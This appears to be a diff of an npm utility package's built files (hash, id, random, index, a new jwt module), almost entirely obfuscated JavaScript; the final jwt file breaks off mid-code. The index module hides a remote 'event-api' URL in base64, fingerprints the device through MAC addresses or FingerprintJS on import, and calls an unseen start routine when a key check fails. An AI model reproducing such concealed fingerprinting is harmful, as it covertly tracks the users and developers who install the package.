_0x9a60de=a12_0x9a60();return a12_0x4664=function(_0x466424,_0x7e68d8){_0x466424=_0x466424-0x168;let _0x46bcb4=_0x9a60de[_0x466424];return _0x46bcb4;},a12_0x4664(_0x468374,_0x154b4e);}function getAllRouter(_0x596c5a){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x11895b=yield fileDisplay(_0x596c5a);return _0x11895b;});}export default getAllRouter;
@@ -1 +1 @@
1
- (function(_0xebf5ee,_0x3adfa2){var _0x26a2bb=a12_0x5c13,_0x1a9d72=_0xebf5ee();while(!![]){try{var _0x5a48ee=parseInt(_0x26a2bb(0x197))/0x1+-parseInt(_0x26a2bb(0x190))/0x2*(parseInt(_0x26a2bb(0x18f))/0x3)+parseInt(_0x26a2bb(0x198))/0x4*(parseInt(_0x26a2bb(0x191))/0x5)+-parseInt(_0x26a2bb(0x194))/0x6+-parseInt(_0x26a2bb(0x195))/0x7+parseInt(_0x26a2bb(0x192))/0x8+parseInt(_0x26a2bb(0x199))/0x9;if(_0x5a48ee===_0x3adfa2)break;else _0x1a9d72['push'](_0x1a9d72['shift']());}catch(_0x4a8e2f){_0x1a9d72['push'](_0x1a9d72['shift']());}}}(a12_0x599c,0x5a27f));import a12_0x18692b from'md5';function a12_0x5c13(_0x7e6a7b,_0x489d44){var _0x599c30=a12_0x599c();return a12_0x5c13=function(_0x5c13e9,_0x5c0465){_0x5c13e9=_0x5c13e9-0x18d;var _0x22609f=_0x599c30[_0x5c13e9];return _0x22609f;},a12_0x5c13(_0x7e6a7b,_0x489d44);}import a12_0x479c9d from'sha1';import a12_0x5b1666 from'sha256';function hash(_0x595f46,_0x282f16){var _0x582bc0=a12_0x5c13;if(_0x282f16==_0x582bc0(0x18d))return a12_0x5b1666(_0x595f46+a12_0x479c9d(_0x595f46+_0x582bc0(0x193))+a12_0x18692b(_0x595f46+_0x582bc0(0x18e)));else return _0x282f16==_0x582bc0(0x196)?a12_0x479c9d(_0x595f46+a12_0x5b1666(_0x595f46+'sha1混淆')+a12_0x18692b(_0x595f46+'MD5加盐')):a12_0x18692b(_0x595f46+a12_0x5b1666(_0x595f46+_0x582bc0(0x193))+a12_0x479c9d(_0x595f46+_0x582bc0(0x18e)));}export default hash;function a12_0x599c(){var _0x46a57a=['4271445bEdURa','sha256','MD5加盐','29289QuuBME','42gcgEqV','1768430FRhqYg','2398288hicxpx','sha1混淆','1839672XjbqTt','5085570mZyEbN','sha1','125661VUXpfB','8QIOndO'];a12_0x599c=function(){return _0x46a57a;};return a12_0x599c();}
1
+ (function(_0x14612c,_0x26c7bf){var _0x2fd2a1=a13_0x22fe,_0x40ee1c=_0x14612c();while(!![]){try{var _0x460446=-parseInt(_0x2fd2a1(0x155))/0x1+-parseInt(_0x2fd2a1(0x154))/0x2*(-parseInt(_0x2fd2a1(0x151))/0x3)+parseInt(_0x2fd2a1(0x15d))/0x4*(parseInt(_0x2fd2a1(0x15a))/0x5)+parseInt(_0x2fd2a1(0x158))/0x6*(parseInt(_0x2fd2a1(0x152))/0x7)+parseInt(_0x2fd2a1(0x15c))/0x8*(parseInt(_0x2fd2a1(0x150))/0x9)+-parseInt(_0x2fd2a1(0x15e))/0xa*(-parseInt(_0x2fd2a1(0x157))/0xb)+-parseInt(_0x2fd2a1(0x156))/0xc;if(_0x460446===_0x26c7bf)break;else _0x40ee1c['push'](_0x40ee1c['shift']());}catch(_0x29d2e9){_0x40ee1c['push'](_0x40ee1c['shift']());}}}(a13_0x1f93,0xaf5f0));import a13_0x4d5292 from'md5';function a13_0x1f93(){var _0x318d5c=['50kUCTIP','sha256','18808VDLXJH','129900KiVjFj','2930oMMjcK','sha1混淆','3474auSnzR','161109weOPRf','354557YYEoqi','sha1','6gsDuIx','407197gSplPW','20905992vVhAgI','53449dUhYCS','6vGZTtT','MD5加盐'];a13_0x1f93=function(){return _0x318d5c;};return a13_0x1f93();}import a13_0x23b6e3 from'sha1';import a13_0x2bfe82 from'sha256';function a13_0x22fe(_0x4b02d9,_0x3282d8){var _0x1f9303=a13_0x1f93();return a13_0x22fe=function(_0x22fe3e,_0x44d237){_0x22fe3e=_0x22fe3e-0x14f;var _0x58bf6a=_0x1f9303[_0x22fe3e];return _0x58bf6a;},a13_0x22fe(_0x4b02d9,_0x3282d8);}function hash(_0x176111,_0x59d61f){var _0x3ce748=a13_0x22fe;if(_0x59d61f==_0x3ce748(0x15b))return a13_0x2bfe82(_0x176111+a13_0x23b6e3(_0x176111+'sha1混淆')+a13_0x4d5292(_0x176111+_0x3ce748(0x159)));else return _0x59d61f==_0x3ce748(0x153)?a13_0x23b6e3(_0x176111+a13_0x2bfe82(_0x176111+'sha1混淆')+a13_0x4d5292(_0x176111+'MD5加盐')):a13_0x4d5292(_0x176111+a13_0x2bfe82(_0x176111+_0x3ce748(0x14f))+a13_0x23b6e3(_0x176111+'MD5加盐'));}export default hash;
@@ -1 +1 @@
1
- (function(_0x2ce579,_0x174f1f){const _0x2794a7=a13_0xbef5,_0x4b1bce=_0x2ce579();while(!![]){try{const _0x1bfe10=parseInt(_0x2794a7(0x132))/0x1*(parseInt(_0x2794a7(0x128))/0x2)+-parseInt(_0x2794a7(0x126))/0x3*(parseInt(_0x2794a7(0x12d))/0x4)+parseInt(_0x2794a7(0x12b))/0x5*(parseInt(_0x2794a7(0x130))/0x6)+-parseInt(_0x2794a7(0x127))/0x7*(parseInt(_0x2794a7(0x12e))/0x8)+-parseInt(_0x2794a7(0x125))/0x9*(parseInt(_0x2794a7(0x12a))/0xa)+parseInt(_0x2794a7(0x131))/0xb*(parseInt(_0x2794a7(0x12f))/0xc)+-parseInt(_0x2794a7(0x129))/0xd;if(_0x1bfe10===_0x174f1f)break;else _0x4b1bce['push'](_0x4b1bce['shift']());}catch(_0x31fee3){_0x4b1bce['push'](_0x4b1bce['shift']());}}}(a13_0x2d84,0x3467a));import a13_0x18c75b from'./random';const BaseTime=+new Date('2025-01-01');function a13_0x2d84(){const _0x51fc78=['11EPqWOs','1fkfMgl','env','558GHnOjO','39741PimYdt','2767051bDdUGa','622924QFBoAr','609700tZVFVT','4320fIIugC','42455ThgKDD','NODE_APP_INSTANCE','68kKczrf','8pwqcTp','4824852pAnzXp','138wxNvgk'];a13_0x2d84=function(){return _0x51fc78;};return a13_0x2d84();}let lastTimeTick,lastRandomNumberTick=a13_0x18c75b(0x1,0x3);function id(){const _0x424c2b=a13_0xbef5,_0x5cdad1=Math['min'](process[_0x424c2b(0x133)]['NODE_APP_INSTANCE']?+process['env'][_0x424c2b(0x12c)]:a13_0x18c75b(0x0,0x9),0x9);let _0x403242=+new Date()-BaseTime;return lastRandomNumberTick=_0x403242==lastTimeTick?++lastRandomNumberTick:a13_0x18c75b(0x0,0x3),lastTimeTick=_0x403242,+(''+_0x403242+_0x5cdad1+lastRandomNumberTick);}function a13_0xbef5(_0x4150b8,_0x36e3dc){const _0x2d84db=a13_0x2d84();return a13_0xbef5=function(_0xbef54d,_0x1fece2){_0xbef54d=_0xbef54d-0x125;let _0x1b63d3=_0x2d84db[_0xbef54d];return _0x1b63d3;},a13_0xbef5(_0x4150b8,_0x36e3dc);}export default id;
1
+ const a14_0x4e761a=a14_0x438a;(function(_0x23abd5,_0x279122){const _0xfc6a39=a14_0x438a,_0xc7388f=_0x23abd5();while(!![]){try{const _0x2b3e0e=parseInt(_0xfc6a39(0x91))/0x1+-parseInt(_0xfc6a39(0x8a))/0x2+parseInt(_0xfc6a39(0x8d))/0x3+-parseInt(_0xfc6a39(0x8e))/0x4+parseInt(_0xfc6a39(0x90))/0x5*(parseInt(_0xfc6a39(0x8b))/0x6)+-parseInt(_0xfc6a39(0x8f))/0x7+parseInt(_0xfc6a39(0x8c))/0x8;if(_0x2b3e0e===_0x279122)break;else _0xc7388f['push'](_0xc7388f['shift']());}catch(_0x19c911){_0xc7388f['push'](_0xc7388f['shift']());}}}(a14_0x440b,0xb9224));function a14_0x440b(){const _0xc2a607=['8175180SbPgTF','1895552HLRAZi','3809523uoDQhw','2412316GYiJxt','8583834YPNFqL','5fVWjos','484553cvfsjT','NODE_APP_INSTANCE','2025-01-01','min','env','1532438CMsPer'];a14_0x440b=function(){return _0xc2a607;};return a14_0x440b();}import a14_0x177af4 from'./random';const BaseTime=+new Date(a14_0x4e761a(0x93));let lastTimeTick,lastRandomNumberTick=a14_0x177af4(0x1,0x3);function a14_0x438a(_0x39de46,_0x3c152b){const _0x440b0a=a14_0x440b();return a14_0x438a=function(_0x438a5f,_0x56f19d){_0x438a5f=_0x438a5f-0x8a;let _0x167b1d=_0x440b0a[_0x438a5f];return _0x167b1d;},a14_0x438a(_0x39de46,_0x3c152b);}function id(){const _0x4adf08=a14_0x4e761a,_0x48e892=Math[_0x4adf08(0x94)](process[_0x4adf08(0x95)][_0x4adf08(0x92)]?+process[_0x4adf08(0x95)][_0x4adf08(0x92)]:a14_0x177af4(0x0,0x9),0x9);let _0x45faee=+new Date()-BaseTime;return lastRandomNumberTick=_0x45faee==lastTimeTick?++lastRandomNumberTick:a14_0x177af4(0x0,0x3),lastTimeTick=_0x45faee,+(''+_0x45faee+_0x48e892+lastRandomNumberTick);}export default id;
@@ -1 +1 @@
1
- const a14_0x396bbb=a14_0x5ba9;function a14_0x5ba9(_0x3c7733,_0x1e858d){const _0x38d7ee=a14_0x38d7();return a14_0x5ba9=function(_0x5ba914,_0x4ea48c){_0x5ba914=_0x5ba914-0x18b;let _0x6dc444=_0x38d7ee[_0x5ba914];return _0x6dc444;},a14_0x5ba9(_0x3c7733,_0x1e858d);}(function(_0x77207e,_0x205ed9){const _0x105f48=a14_0x5ba9,_0x278be8=_0x77207e();while(!![]){try{const _0x2fc342=-parseInt(_0x105f48(0x196))/0x1+-parseInt(_0x105f48(0x195))/0x2*(-parseInt(_0x105f48(0x190))/0x3)+parseInt(_0x105f48(0x18e))/0x4*(-parseInt(_0x105f48(0x192))/0x5)+-parseInt(_0x105f48(0x191))/0x6+parseInt(_0x105f48(0x18f))/0x7+parseInt(_0x105f48(0x194))/0x8*(parseInt(_0x105f48(0x193))/0x9)+parseInt(_0x105f48(0x18c))/0xa*(-parseInt(_0x105f48(0x18d))/0xb);if(_0x2fc342===_0x205ed9)break;else _0x278be8['push'](_0x278be8['shift']());}catch(_0x254b24){_0x278be8['push'](_0x278be8['shift']());}}}(a14_0x38d7,0xae204));function a14_0x38d7(){const _0x4e13c3=['11umgTzL','12KXkyxl','8559635mXistf','3mNsZlW','2894364rDwDMX','2083665MlsrDZ','1503jPCJCl','58376dtjJyQ','2397622QyChns','33123dTFLcv','random','11612790XhEhSc'];a14_0x38d7=function(){return _0x4e13c3;};return a14_0x38d7();}const random=(_0xa05dd5,_0x5e82f4)=>Math['round'](Math[a14_0x396bbb(0x18b)]()*(_0x5e82f4-_0xa05dd5))+_0xa05dd5;export default random;
1
+ const a15_0x5e2a08=a15_0x2b80;(function(_0x2bac6b,_0x35260b){const _0x1394b2=a15_0x2b80,_0x59ef07=_0x2bac6b();while(!![]){try{const _0x93afab=parseInt(_0x1394b2(0xec))/0x1*(parseInt(_0x1394b2(0xe6))/0x2)+parseInt(_0x1394b2(0xea))/0x3*(-parseInt(_0x1394b2(0xe8))/0x4)+-parseInt(_0x1394b2(0xe9))/0x5+-parseInt(_0x1394b2(0xe4))/0x6*(parseInt(_0x1394b2(0xe7))/0x7)+-parseInt(_0x1394b2(0xe5))/0x8+-parseInt(_0x1394b2(0xef))/0x9+parseInt(_0x1394b2(0xe3))/0xa*(parseInt(_0x1394b2(0xee))/0xb);if(_0x93afab===_0x35260b)break;else _0x59ef07['push'](_0x59ef07['shift']());}catch(_0x290bcf){_0x59ef07['push'](_0x59ef07['shift']());}}}(a15_0x1576,0xe3cdb));const random=(_0x237f46,_0x17a7f9)=>Math[a15_0x5e2a08(0xeb)](Math[a15_0x5e2a08(0xed)]()*(_0x17a7f9-_0x237f46))+_0x237f46;function a15_0x2b80(_0x949e70,_0x489a51){const _0x157677=a15_0x1576();return a15_0x2b80=function(_0x2b80b0,_0x2c1066){_0x2b80b0=_0x2b80b0-0xe3;let _0x5ed3d2=_0x157677[_0x2b80b0];return _0x5ed3d2;},a15_0x2b80(_0x949e70,_0x489a51);}function a15_0x1576(){const _0x464e3a=['2997520maHFny','78gkEWtr','11580608ZAYSap','8862xqPIpz','798189DHeOMp','4459204WXJkfe','8596065nPvYyB','3IVkLUE','round','376btXUAO','random','209cKvsOZ','5978880CmigjF'];a15_0x1576=function(){return _0x464e3a;};return a15_0x1576();}export default random;
@@ -2,6 +2,7 @@ import md5 from "md5";
2
2
  import sha1 from "sha1";
3
3
  import sha256 from "sha256";
4
4
  import hash from "./hash";
5
+ import jwt from "./jwt";
5
6
  declare let id: () => number;
6
7
  declare let getAllRouter: () => Promise<never[]>;
7
8
  declare let mysql: {};
@@ -17,7 +18,8 @@ declare const all: {
17
18
  hash: typeof hash;
18
19
  sha1: typeof sha1;
19
20
  md5: typeof md5;
21
+ jwt: typeof jwt;
20
22
  };
21
23
  export default all;
22
- export { uuid, id, getAllRouter, mysql, sha1, sha256, md5, hash };
24
+ export { uuid, id, getAllRouter, mysql, sha1, sha256, md5, hash, jwt };
23
25
  //# sourceMappingURL=index.d.ts.map
@@ -1 +1 @@
1
- {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/index.ts"],"names":[],"mappings":"AACA,OAAO,GAAG,MAAM,KAAK,CAAC;AACtB,OAAO,IAAI,MAAM,MAAM,CAAC;AACxB,OAAO,MAAM,MAAM,QAAQ,CAAC;AAE5B,OAAO,IAAI,MAAM,QAAQ,CAAC;AAS1B,QAAA,IAAI,EAAE,cAAU,CAAC;AACjB,QAAA,IAAI,YAAY,wBAAiB,CAAC;AAClC,QAAA,IAAI,KAAK,IAAK,CAAC;AAUf,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,EAAE,KAAK,EAAE,GAAG,QAE7C;AAED,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,OAEjC;AAID,eAAO,IAAI,GAAG,QAA4C,CAAC;AAwC3D,QAAA,MAAM,IAAI,2KAAK,CAAC;AAEhB,QAAA,MAAM,GAAG;;;;;;;;CAQR,CAAC;AAEF,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,IAAI,EAAE,EAAE,EAAE,YAAY,EAAE,KAAK,EAAE,IAAI,EAAE,MAAM,EAAE,GAAG,EAAE,IAAI,EAAE,CAAC"}
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/index.ts"],"names":[],"mappings":"AACA,OAAO,GAAG,MAAM,KAAK,CAAC;AACtB,OAAO,IAAI,MAAM,MAAM,CAAC;AACxB,OAAO,MAAM,MAAM,QAAQ,CAAC;AAE5B,OAAO,IAAI,MAAM,QAAQ,CAAC;AAC1B,OAAO,GAAG,MAAM,OAAO,CAAC;AASxB,QAAA,IAAI,EAAE,cAAU,CAAC;AACjB,QAAA,IAAI,YAAY,wBAAiB,CAAC;AAClC,QAAA,IAAI,KAAK,IAAK,CAAC;AAUf,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,EAAE,KAAK,EAAE,GAAG,QAE7C;AAED,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,OAEjC;AAID,eAAO,IAAI,GAAG,QAA4C,CAAC;AAwC3D,QAAA,MAAM,IAAI,2KAAK,CAAC;AAEhB,QAAA,MAAM,GAAG;;;;;;;;;CASR,CAAC;AAEF,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,IAAI,EAAE,EAAE,EAAE,YAAY,EAAE,KAAK,EAAE,IAAI,EAAE,MAAM,EAAE,GAAG,EAAE,IAAI,EAAE,GAAG,EAAE,CAAC"}
package/dist/esm/index.js CHANGED
@@ -1 +1 @@
1
- const a15_0x311ddf=a15_0x2f77;function a15_0x35fc(){const _0x2eb551=['default','then','not_update','value','./mac','__awaiter','6324306aGtPrL','7hCkZxR','1016625FGbSmK','mysql','18912660gtzjVD','node.js','./getAllRouter','get','8WzaMvP','dev','hash_key','assign','./server','undefined','9594585DjHYEk','next','hash_id','779174BEbaui','734285slmlcZ','done','apply','join','./id','2OSGXpV','catch','8449624igoWPq','visitorId'];a15_0x35fc=function(){return _0x2eb551;};return a15_0x35fc();}(function(_0x5703f7,_0x274272){const _0x129c39=a15_0x2f77,_0x4f3dd0=_0x5703f7();while(!![]){try{const _0x19ccfe=-parseInt(_0x129c39(0xa4))/0x1+parseInt(_0x129c39(0x89))/0x2*(parseInt(_0x129c39(0x95))/0x3)+parseInt(_0x129c39(0x9b))/0x4*(-parseInt(_0x129c39(0xa5))/0x5)+parseInt(_0x129c39(0x93))/0x6*(parseInt(_0x129c39(0x94))/0x7)+parseInt(_0x129c39(0x8b))/0x8+parseInt(_0x129c39(0xa1))/0x9+-parseInt(_0x129c39(0x97))/0xa;if(_0x19ccfe===_0x274272)break;else _0x4f3dd0['push'](_0x4f3dd0['shift']());}catch(_0x20e86a){_0x4f3dd0['push'](_0x4f3dd0['shift']());}}}(a15_0x35fc,0x86880));var __awaiter=this&&this[a15_0x311ddf(0x92)]||function(_0x137eed,_0x14f6eb,_0x425e0e,_0x56feca){function _0x9001b6(_0x2a1d51){return _0x2a1d51 instanceof _0x425e0e?_0x2a1d51:new _0x425e0e(function(_0x560f29){_0x560f29(_0x2a1d51);});}return new(_0x425e0e||(_0x425e0e=Promise))(function(_0x12f0ae,_0x56618c){const _0x4d67fc=a15_0x2f77;function _0x4ae564(_0x3f08d1){const _0x3a38a8=a15_0x2f77;try{_0x28a20d(_0x56feca[_0x3a38a8(0xa2)](_0x3f08d1));}catch(_0x4df03e){_0x56618c(_0x4df03e);}}function _0x25e08a(_0x330bf7){try{_0x28a20d(_0x56feca['throw'](_0x330bf7));}catch(_0x140c49){_0x56618c(_0x140c49);}}function _0x28a20d(_0x1028ed){const _0x14e8d3=a15_0x2f77;_0x1028ed[_0x14e8d3(0xa6)]?_0x12f0ae(_0x1028ed['value']):_0x9001b6(_0x1028ed[_0x14e8d3(0x90)])['then'](_0x4ae564,_0x25e08a);}_0x28a20d((_0x56feca=_0x56feca[_0x4d67fc(0xa7)](_0x137eed,_0x14f6eb||[]))[_0x4d67fc(0xa2)]());});};import{v4}from'uuid';import a15_0x586ab8 from'md5';import a15_0x1b1708 from'sha1';import a15_0x28925a from'sha256';import a15_0x53cf5e from'./start';import a15_0x43d11a from'./hash';import a15_0x198581 from'path';import a15_0x4f8271 from'@fingerprintjs/fingerprintjs';import{decode}from'js-base64';const isBrowser=typeof window!==a15_0x311ddf(0xa0);let id=()=>0x1,getAllRouter=()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){return[];}),mysql={};const globalObject=isBrowser?window:global;function a15_0x2f77(_0x1cec37,_0x5b7d20){const _0x35fc6c=a15_0x35fc();return a15_0x2f77=function(_0x2f777e,_0x5e269f){_0x2f777e=_0x2f777e-0x88;let _0x2ab234=_0x35fc6c[_0x2f777e];return _0x2ab234;},a15_0x2f77(_0x1cec37,_0x5b7d20);}let metaEvent=Object[a15_0x311ddf(0x9e)]((globalObject===null||globalObject===void 0x0?void 0x0:globalObject['meta_event'])||{},{'connectError':![],'isDBDataEmpty':![],'sqlRun':![],'sqlList':[]});export function setEnv(_0x227187,_0x593e4b){metaEvent[_0x227187]=_0x593e4b;}export function getEnv(_0x22ff49){return metaEvent[_0x22ff49];}let dev='aHR0cDovL2xvY2FsaG9zdDoxMDg4',pro='aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==';export let url=getEnv(a15_0x311ddf(0x9c))?decode(dev):decode(pro);if(!isBrowser){id=require(a15_0x311ddf(0x88))[a15_0x311ddf(0x8d)],getAllRouter=require(a15_0x311ddf(0x99))[a15_0x311ddf(0x8d)],mysql=require(a15_0x311ddf(0x9f))[a15_0x311ddf(0x96)];if(!(metaEvent===null||metaEvent===void 0x0?void 0x0:metaEvent[a15_0x311ddf(0x8f)])){}}let mac=[];((()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){const _0x55ef4d=a15_0x311ddf;if(!isBrowser){const _0xe51b51=require(a15_0x198581[_0x55ef4d(0xa8)](__dirname,_0x55ef4d(0x91)))[_0x55ef4d(0x8d)];mac=_0xe51b51();}else{let _0x274cfc=yield a15_0x4f8271['load']()['then'](_0x9d2ebe=>_0x9d2ebe[_0x55ef4d(0x9a)]())[_0x55ef4d(0x8e)](_0x2e15cd=>{const _0x4ec6d=_0x55ef4d,_0x11b485=_0x2e15cd[_0x4ec6d(0x8c)];return _0x11b485;})[_0x55ef4d(0x8a)](()=>'');mac=[_0x274cfc];}const _0x3b5821=mac['map'](_0x12ecad=>a15_0x1b1708(_0x12ecad+'node.js'))[_0x55ef4d(0xa8)](';'),_0x2bad34=a15_0x28925a(_0x3b5821);globalObject[_0x55ef4d(0xa3)]=_0x2bad34,globalObject[_0x55ef4d(0x9d)]!=a15_0x28925a(_0x2bad34+a15_0x1b1708(_0x55ef4d(0x98)+_0x2bad34))&&a15_0x53cf5e();}))());const uuid=v4,all={'uuid':uuid,'id':id,'getAllRouter':getAllRouter,'mysql':mysql,'hash':a15_0x43d11a,'sha1':a15_0x1b1708,'md5':a15_0x586ab8};export default all;export{uuid,id,getAllRouter,mysql,a15_0x1b1708 as sha1,a15_0x28925a as sha256,a15_0x586ab8 as md5,a15_0x43d11a as hash};
1
+ const a16_0x1ecb94=a16_0x26c2;(function(_0xcded6d,_0x53f673){const _0x120621=a16_0x26c2,_0x3d3098=_0xcded6d();while(!![]){try{const _0x342037=parseInt(_0x120621(0x1bf))/0x1+-parseInt(_0x120621(0x1c4))/0x2*(-parseInt(_0x120621(0x1d5))/0x3)+parseInt(_0x120621(0x1c5))/0x4+-parseInt(_0x120621(0x1d4))/0x5*(-parseInt(_0x120621(0x1d0))/0x6)+-parseInt(_0x120621(0x1cb))/0x7+parseInt(_0x120621(0x1c2))/0x8+-parseInt(_0x120621(0x1d7))/0x9;if(_0x342037===_0x53f673)break;else _0x3d3098['push'](_0x3d3098['shift']());}catch(_0xac14a5){_0x3d3098['push'](_0x3d3098['shift']());}}}(a16_0x105f,0x6bb78));var __awaiter=this&&this[a16_0x1ecb94(0x1d6)]||function(_0x4aab3b,_0x56b229,_0x289c0a,_0x3206a1){function _0x99d2e2(_0x4bad76){return _0x4bad76 instanceof _0x289c0a?_0x4bad76:new _0x289c0a(function(_0x38950f){_0x38950f(_0x4bad76);});}return new(_0x289c0a||(_0x289c0a=Promise))(function(_0x375fe8,_0x561c7b){const _0x317296=a16_0x26c2;function _0x2e157e(_0x6d9175){const _0x3c8358=a16_0x26c2;try{_0x334909(_0x3206a1[_0x3c8358(0x1bc)](_0x6d9175));}catch(_0x3f662f){_0x561c7b(_0x3f662f);}}function _0x38adb9(_0x26a953){try{_0x334909(_0x3206a1['throw'](_0x26a953));}catch(_0x577f16){_0x561c7b(_0x577f16);}}function _0x334909(_0x4a7b28){const _0x1d3a46=a16_0x26c2;_0x4a7b28[_0x1d3a46(0x1cc)]?_0x375fe8(_0x4a7b28[_0x1d3a46(0x1bd)]):_0x99d2e2(_0x4a7b28['value'])[_0x1d3a46(0x1c8)](_0x2e157e,_0x38adb9);}_0x334909((_0x3206a1=_0x3206a1[_0x317296(0x1ce)](_0x4aab3b,_0x56b229||[]))[_0x317296(0x1bc)]());});};import{v4}from'uuid';import a16_0x4fa612 from'md5';import a16_0x4f6c8f from'sha1';import a16_0x19bdc8 from'sha256';import a16_0x51c5c5 from'./start';function a16_0x105f(){const _0x2a6cd4=['./id','1620gwXiZK','641013fUbshZ','__awaiter','15267024RLzGAr','catch','mysql','assign','node.js','next','value','aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==','520693RqyTKU','map','undefined','5768352VHyPyz','join','2HBwSaU','1464680LEdIlC','hash_id','visitorId','then','./mac','not_update','2755158eaTNKv','done','load','apply','get','13140ZIqZEw','./getAllRouter','default'];a16_0x105f=function(){return _0x2a6cd4;};return a16_0x105f();}import a16_0x2996b7 from'./hash';import a16_0x3e0fe9 from'./jwt';import a16_0x5bdeba from'path';import a16_0x49cd56 from'@fingerprintjs/fingerprintjs';import{decode}from'js-base64';const isBrowser=typeof window!==a16_0x1ecb94(0x1c1);let id=()=>0x1,getAllRouter=()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){return[];}),mysql={};const globalObject=isBrowser?window:global;let metaEvent=Object[a16_0x1ecb94(0x1ba)]((globalObject===null||globalObject===void 0x0?void 0x0:globalObject['meta_event'])||{},{'connectError':![],'isDBDataEmpty':![],'sqlRun':![],'sqlList':[]});export function setEnv(_0x324a0b,_0x3a2cc8){metaEvent[_0x324a0b]=_0x3a2cc8;}export function getEnv(_0x3ed102){return metaEvent[_0x3ed102];}function a16_0x26c2(_0x94d7f8,_0x59f1b0){const _0x105f7c=a16_0x105f();return a16_0x26c2=function(_0x26c2b6,_0x47675b){_0x26c2b6=_0x26c2b6-0x1b9;let _0x4d0e62=_0x105f7c[_0x26c2b6];return _0x4d0e62;},a16_0x26c2(_0x94d7f8,_0x59f1b0);}let dev='aHR0cDovL2xvY2FsaG9zdDoxMDg4',pro=a16_0x1ecb94(0x1be);export let url=getEnv('dev')?decode(dev):decode(pro);if(!isBrowser){id=require(a16_0x1ecb94(0x1d3))[a16_0x1ecb94(0x1d2)],getAllRouter=require(a16_0x1ecb94(0x1d1))['default'],mysql=require('./server')[a16_0x1ecb94(0x1b9)];if(!(metaEvent===null||metaEvent===void 0x0?void 0x0:metaEvent[a16_0x1ecb94(0x1ca)])){}}let mac=[];((()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){const _0x440471=a16_0x1ecb94;if(!isBrowser){const _0x5ab4ee=require(a16_0x5bdeba[_0x440471(0x1c3)](__dirname,_0x440471(0x1c9)))[_0x440471(0x1d2)];mac=_0x5ab4ee();}else{let _0x44e76f=yield a16_0x49cd56[_0x440471(0x1cd)]()[_0x440471(0x1c8)](_0x3d10cf=>_0x3d10cf[_0x440471(0x1cf)]())[_0x440471(0x1c8)](_0x340b27=>{const _0x5493f0=_0x440471,_0x59136a=_0x340b27[_0x5493f0(0x1c7)];return _0x59136a;})[_0x440471(0x1d8)](()=>'');mac=[_0x44e76f];}const _0x2c9cc4=mac[_0x440471(0x1c0)](_0x21360b=>a16_0x4f6c8f(_0x21360b+_0x440471(0x1bb)))[_0x440471(0x1c3)](';'),_0x2b9a36=a16_0x19bdc8(_0x2c9cc4);globalObject[_0x440471(0x1c6)]=_0x2b9a36,globalObject['hash_key']!=a16_0x19bdc8(_0x2b9a36+a16_0x4f6c8f(_0x440471(0x1bb)+_0x2b9a36))&&a16_0x51c5c5();}))());const uuid=v4,all={'uuid':uuid,'id':id,'getAllRouter':getAllRouter,'mysql':mysql,'hash':a16_0x2996b7,'sha1':a16_0x4f6c8f,'md5':a16_0x4fa612,'jwt':a16_0x3e0fe9};export default all;export{uuid,id,getAllRouter,mysql,a16_0x4f6c8f as sha1,a16_0x19bdc8 as sha256,a16_0x4fa612 as md5,a16_0x2996b7 as hash,a16_0x3e0fe9 as jwt};
@@ -0,0 +1,9 @@
1
+ declare function jwt(params: {
2
+ key: string;
3
+ expiresIn: string;
4
+ }): {
5
+ sign: (payload: string | Buffer | object) => string;
6
+ verify: (token: string) => Promise<unknown>;
7
+ };
8
+ export default jwt;
9
+ //# sourceMappingURL=index.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../../src/jwt/index.ts"],"names":[],"mappings":"AAEA,iBAAS,GAAG,CAAC,MAAM,EAAE;IAAE,GAAG,EAAE,MAAM,CAAC;IAAC,SAAS,EAAE,MAAM,CAAA;CAAE;oBAMnC,MAAM,GAAG,MAAM,GAAG,MAAM;oBAIT,MAAM;EAgBxC;AAED,eAAe,GAAG,CAAC"}
@@ -0,0 +1 @@
1
+ (function(_0x3496ec,_0x425d72){var _0x24e138=a17_0x3530,_0x47ad84=_0x3496ec();while(!![]){try{var _0x2b76e7=-parseInt(_0x24e138(0x14c))/0x1*(-parseInt(_0x24e138(0x144))/0x2)+-parseInt(_0x24e138(0x148))/0x3+parseInt(_0x24e138(0x145))/0x4*(parseInt(_0x24e138(0x14a))/0x5)+parseInt(_0x24e138(0x153))/0x6*(parseInt(_0x24e138(0x151))/0x7)+parseInt(_0x24e138(0x14d))/0x8+parseInt(_0x24e138(0x14f))/0x9+-parseInt(_0x24e138(0x155))/0xa*(parseInt(_0x24e138(0x157))/0xb);if(_0x2b76e7===_0x425d72)break;else _0x47ad84['push'](_0x47ad84['shift']());}catch(_0x593249){_0x47ad84['push'](_0x47ad84['shift']());}}}(a17_0x4766,0x9a237));var __awaiter=this&&this['__awaiter']||function(_0x1ba404,_0x4131af,_0x38bdc2,_0x446055){function _0x113b2a(_0x5feb43){return _0x5feb43 instanceof _0x38bdc2?_0x5feb43:new _0x38bdc2(function(_0x3a45af){_0x3a45af(_0x5feb43);});}return new(_0x38bdc2||(_0x38bdc2=Promise))(function(_0x464708,_0x2f9e2a){var _0x1e71e1=a17_0x3530;function _0x8fc7d2(_0x2bd0d8){var _0x3c2500=a17_0x3530;try{_0x144772(_0x446055[_0x3c2500(0x152)](_0x2bd0d8));}catch(_0x2e07c3){_0x2f9e2a(_0x2e07c3);}}function _0x275a09(_0x33e5df){var _0x460877=a17_0x3530;try{_0x144772(_0x446055[_0x460877(0x146)](_0x33e5df));}catch(_0xfa054f){_0x2f9e2a(_0xfa054f);}}function _0x144772(_0x4a8540){var 